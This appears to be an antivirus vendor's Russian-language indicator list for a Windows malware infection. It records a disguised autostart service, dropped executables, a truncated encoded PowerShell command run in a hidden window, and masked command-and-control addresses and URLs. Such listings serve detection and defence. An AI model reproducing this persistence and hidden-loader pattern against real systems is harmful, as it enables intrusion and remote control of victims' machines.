Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\DDORes] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\DDORes] 'ImagePath' = '"%WINDIR%\SysWOW64\rdprefdrvapi\DDORes.exe"'
- 'DDORes' "%WINDIR%\SysWOW64\rdprefdrvapi\DDORes.exe"
- 'DDORes' %WINDIR%\SysWOW64\rdprefdrvapi\DDORes.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABRAHAAZQA1AGsAcQBoAD0AKAAnAFoAJwArACcAdgAnACsAKAAnADkAdQBvAG4AJwArACcAdQAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAcgBQAFIATwBmAGkAbA...
- %HOMEPATH%\tecxn06\phcob6g\p4bjqk.exe
- %WINDIR%\syswow64\rdprefdrvapi\ddores.exe
- %HOMEPATH%\tecxn06\phcob6g\p4bjqk.exe в %WINDIR%\syswow64\rdprefdrvapi\ddores.exe
- '49.##3.9.118':80
- '16#.#1.227.113':8080
- '19#.#5.46.52':7080
- http://cc#####ssuracademy.com/qsm/EeCAFv/
- http://19#.##.46.52:7080/YKuQusKZi5Q/Yy9wHA/5bJScLVp6onH5/w2xuYKfw2RAJ7cd/TZZBQ/M0QMmsADyD0cB31BwiB/ via 19#.#5.46.52
- DNS ASK cc#####ssuracademy.com
- '%HOMEPATH%\tecxn06\phcob6g\p4bjqk.exe'
- '%WINDIR%\syswow64\rdprefdrvapi\ddores.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABRAHAAZQA1AGsAcQBoAD0AKAAnAFoAJwArACcAdgAnACsAKAAnADkAdQBvAG4AJwArACcAdQAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAcgBQAFIATwBmAGkAbA...' (со скрытым окном)